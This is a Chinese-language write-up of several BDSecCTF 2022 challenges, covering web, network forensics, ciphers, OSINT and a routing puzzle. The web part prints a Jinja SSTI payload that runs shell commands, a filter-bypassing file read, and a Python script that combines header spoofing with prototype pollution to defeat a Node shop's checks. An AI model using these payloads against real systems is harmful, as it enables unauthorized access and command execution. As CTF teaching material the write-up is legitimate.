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BDSecCTF

image-20220721230519190


前言

这个国外的比赛我自己认为比较面向新手吧,但是我依然不能全做出来,继续努力继续努力

Web

Jungle Templating

image-20220721184455566

初步判断是SSTI,会得出运算结果

image-20220721184551241

查看配置文件情况

image-20220721184627928

{{cycler.next.__globals__.os.popen('nl *')|max}}

image-20220721185115064

BDSEC{Y3Y_7H1515_7H3_F146}

Awesome Note Keeping

image-20220721235630128

写笔记,试试呗,传个xss弹窗,发现是可以的,但是不存cookie应该也找不到啥东西,放弃这个思路

image-20220721235816295

看源码得到一行提示

Hi Seli, I have created this awesome note keeping web app today. I have saved a backup file index.php.bak for you. Download it and check it out.

源码路径,打包下来审计,主要代码如下

<?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
if (isset($_POST["note"]) && isset($_POST["note_title"])) {
    if (empty($_POST["note"]) || empty($_POST["note_title"])) {
        echo "All fields are required.";
    } else if (strlen($_POST["note_title"]) >= 13) {
        echo "Note title is too long.";
    } else if (strlen($_POST["note"]) >= 40) {
        echo "Note is too long.";
    } else {
        $note_title = str_replace("flag", "", $_POST["note_title"]);
        if (!empty($note_title)) {
            if (file_exists($note_title . ".txt")) {
                echo "There is already a note with that title and the note is <br>";
                $note_title = str_replace("flag", "", $note_title);
                $myNote = fopen($note_title . ".txt", "r");
                echo fread($myNote, filesize($note_title . ".txt"));
                fclose($myNote);
            } else {
                $myNote = fopen($note_title . ".txt", "w");
                fwrite($myNote, $_POST["note"]);
                fclose($myNote);
                echo "Your note has been saved.";
            }
        } else {
            echo "Sorry ! You can't create flag note.";
        }
    }
}


if (isset($_GET["note_title"]) && !empty($_GET["note_title"]) && $_GET["note_title"] != "flag") {
    if (file_exists($_GET["note_title"] . ".txt")) {
        $myNote = fopen($_GET["note_title"] . ".txt", "r");
        echo fread($myNote, filesize($_GET["note_title"] . ".txt"));
        fclose($myNote);
    } else {
        echo "Sorry ! Couldn't find any note with that title.";
    }
}

?>

贼长,还得绕,看的我头疼,浅浅分析一下,note和note_title这俩变量都是post传参,对应的就是那两个填的内容,然后对传的内容进行了校验和长度的控制,其次就是这下面这个函数

str_replace() 函数

str_replace() 函数以其他字符替换字符串中的一些字符(区分大小写)。

例如:把字符串 “Hello world!” 中的字符 “world” 替换为 “Shanghai”:

<?php
echo str_replace("world","Shanghai","Hello world!");
?>

说实话得到flag的过程挺让我意外,目录穿越???,当时我看到当查询一个文件的时候payload会变成?note_title=1,然后我有测试…/…/…/etc/passwd,但是没有反应我就没管目录穿越,现在知道了这个验证方式不是唯一的

这道题目最终就是在本目录下直接读取flag,但是直接读肯定不行,因为会被替换成空格,所以payload如下

?note_title=./flag

image-20220722000918653

BDSEC{tHe_n0t3_K33p1n6_4W350M3_N5}

Knight Squad Shop

image-20220721230949109

这是一个,附件代码审计

初步查看也能知道这是个商店,可以购买东西,然后初始钱是一百,我们的目标就是那个Get flags,显然直接购买是不行的。

源码我先全部贴到这,慢慢分析

const express = require('express')
const session = require('express-session')
const fs = require('fs')

const app = express()

const products = require('./product.json')


const product = {
    name: 'Some Product',
    price: 100,
    description: 'A description of the product',
    quantity: 1,
};

products['flags'] = {     // 这个就是我们最终要购买的产品,我在这里被坑了一波,好久才反应过来
    name: 'Get flags',
    price: 2.5e+25,    // 它的价格,显然直接买不起
    description: fs.readFileSync('flag.txt', 'utf8').trim(),     // 内容就是这个flag.txt
    quantity: 1     // 数量是一个
}

app.use(express.json({ extended: true }));
app.set('view engine', 'ejs');

app.use(session({
    secret: require('crypto').randomBytes(64).toString('hex'),
    resave: false,
    saveUninitialized: true,
}));

app.use((req, res, next) => {
    if(req.session.money !== undefined) {
        return next();
    }
    req.session.money = 100;   //  初始值是100

    if (req.ip == '127.0.0.1') {    // 需要本地,这里想到的是加个XFF头来进行绕过
        req.session.admin = true;
    }
    next();
});

app.get('/', (req, res) => {    // 路由
    res.render('index', { products, money: req.session.money})
})

app.post('/api/v1/sell', (req, res) => {   // 路由。功能就是sell
    for (const [key, value] of Object.entries(req.body)) {
        if (key === 'flags' && !req.session.admin) {
            continue;
        }

        if (!products[key]) {
            products[key] = JSON.parse(JSON.stringify(product));
        }

        for (const [k, v] of Object.entries(value)) {
            if (k === 'quantity') {
                products[key][k] += v;
            } else {
                products[key][k] = v;
            }
        }
    }

    res.send('Sell successful');
});

app.post('/api/v1/buy', (req, res) => {   // 路由,功能是buy
    const { product, quantity } = req.body;

    if (typeof product === 'undefined' || typeof quantity !== 'number' || quantity <= 0 || !products[product]) {
        return res.status(400).send('Invalid request');
    }

    if (products[product].quantity >= quantity) {
        if (req.session.money >= products[product].price * quantity) {
            products[product].quantity -= quantity;
            req.session.money -= products[product].price * quantity;
            res.json(products[product]);
        } else {
            res.status(402).send('Not enough money');
        }
    } else {
        res.status(451).send('Not enough product');
    }
});

app.post('/api/v1/money', (req, res) => {   //路由,功能是管理money的加减,这里需要是admin,否则没权限
    if (req.session.admin) {  // 判断是否是admin
        req.session.money += req.body.money;
        res.send('Money added');
    } else {
        res.status(403).send('Not admin');
    }
});

app.listen(3000, () => {
    console.log('Listening on port 3000');
});

下面单拉出一个路由来分析—sell

app.post('/api/v1/sell', (req, res) => {   // 路由。功能就是sell
    for (const [key, value] of Object.entries(req.body)) {
        if (key === 'flags' && !req.session.admin) {
            continue;
        }

        if (!products[key]) {
            products[key] = JSON.parse(JSON.stringify(product));
        }

        for (const [k, v] of Object.entries(value)) {
            if (k === 'quantity') {
                products[key][k] += v;
            } else {
                products[key][k] = v;
            }
        }
    }

    res.send('Sell successful');
});

这个就是出售的功能,不仅可以买还可以卖,但是我们可以看到它不允许卖flag,只要卖flag就直接跳了,相当于把flag这个产品给拦截了。

然后就是管理钱的那个路由,刚才也说到了,只能是admin才可以有权限。XFF头就可以实现admin,在这样的情况下我测试了,可以一直卖,但是没有收益,毫无用处,继续分析


for (const [k, v] of Object.entries(value)) {
    if (k === 'quantity') {
        products[key][k] += v;
    } else {
        products[key][k] = v;
    }
}

这个是控制数量的,每个产品的数量,可以看到quantity是可以根据v写入数据的,说明我们可以讲产品价格改成任意值

在购买的时候有个条件

if (req.session.money >= products[product].price * quantity) {
            products[product].quantity -= quantity;

这个if条件是说明你买啥就会扣你的钱来进行,不严格,简单来讲就是你把价格调成负数,你越买,钱越多

整体分析就是这样,思路就来了,我们可以先卖,卖的价格为负数,然后再买自己卖的,这样钱就够了,然后再买flag

写个脚本传一下吧

import requests

s = requests.Session()

print(s.post('http://206.189.236.145:3000/api/v1/sell', headers={'X-Forwarded-For': '127.0.0.1'}, json={'__proto__': {'admin': 'gg'}, 'mango': { 'quantity': 1 }}).text)  //  卖
print(s.post('http://206.189.236.145:3000/api/v1/money',json={ 'money': 2.5e+25 + 1 }).text)   //买
print(s.post('http://206.189.236.145:3000/api/v1/buy', json={ 'product': 'flags', 'quantity': 1 } ).json()['description'])   // 买

最终成功实现,得到flag

image-20220721233640644

BDSEC{mummy_i_can’t_write_javaScript}

至于我说到的我刚才被难到的地方是我一直把产品当成Get flags,脚本一直报错最后一步买flag的地方,也是因为代码审计不认真,毕竟代码说的很清楚,以后主要代码一定要认真看image-20220721233917609

Networking

Victim & Attacker

流量分析,最终确定一个流量是攻击流量

image-20220721194405112

image-20220721194422016

服务器ip是192.168.1.13

攻击者ip是192.168.1.10

BDSEC{192.168.1.13_192.168.1.10}

Misc

Find Me Inside

I’m stuck in the Dark.

下载附件是个gif动图

image-20220721211040441

隐藏了压缩包,改类型,解压得到cry100

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Sld xlfow R yv hl olhg
Rm z kozxv R pmld hl dvoo?
Sld xlfow R yv hl yilpvm
Rm z uznrob hl gltvgsvi?
Sld xlfow R yv hl olmvob
Hfiilfmwvw yb hl nzmb?
Sld xlfow R yv hl fmszkkb
Hfiilfmwvw yb hl nfxs yvzfgb?
Sld xlfow R yv nv
Dsvm vevm R ivnzrm z nbhgvib?
YWHVX{N33n_gsv_yfggviuob_tlvh_fk_fk_zmw_zdzb}

Atbash解密,得到flag

how could i be so lost
in a place i know so well?
how could i be so broken
in a family so together?
how could i be so lonely
surrounded by so many?
how could i be so unhappy
surrounded by so much beauty?
how could i be me
when even i remain a mystery?
bdsec{m33m_the_butterfly_goes_up_up_and_away}
// BDSEC{M33m_the_butterfly_goes_up_up_and_away}

Cryptography

VIPx01

My friend gave me his game username and game id . Can decode game id ?

User : rot

Game ID : OQFRP{pelcg0_ne3_nj3f0z3}

Flag Format : BDSEC{s0m3thing_here}

rot13解密

BDSEC{crypt0_ar3_aw3s0m3}

基本上是 RSA

RSA cryptosystem uses modular arithmetic to create an asymmetric encryption system. However, there are some pitfalls and weakness. Can you exploit it?

N: 1280678415822214057864524798453297819181910621573945477544758171055968245116423923

E: 65537

C: 241757357533719849989659127349827982677055294256023833052829147857534659015212862

RSAtool,工具一把梭

BDSEC{r54_i5_fUn_r16h7?}

OSINT

Find Rejvi

I just met a girl named Rejvi Khan. She told me to find her in social media. I searched on Facebook but didn’t find her. I think she is using any other social media. Can you find her ?

Flag format : BDSEC{s0mething_here}

就是搜这个人,各种社交软件都搜搜,最终锁定mastodon

image-20220722003759533

扫码得到flag

image-20220722003926823

BDSEC{yoU_goT_m3__oS1nT_I5_fUn_r1Gh7}

Programming

Find the Cost

Assume every node as a city. Find the cost of the shortest yet most efficient & the longest and most inefficient route for a person to travel each city exactly once and return to the origin city.

Flag Format: BDSEC{minimum_cost,maximum_cost}

Flag Example: BDSEC{12,89}

这个题目就是找最短路径最省钱和最长路径最费钱的俩种方案

image-20220722004448243

有很多种解法,可以花树状图进行分析

最终结果,最少花费35,最多花费47

flag为BDSEC{35,47}

总结

CTF比赛考察点还是比较多的,学习的时候也是比较广,比较杂,就要靠平时多学多积累,比赛多参加,还有就是最重要的审计代码,沉下心来,做题一定要沉下心来,要不然就会丢失很多分,收工!

制作不易,如若感觉写的不错,欢迎打赏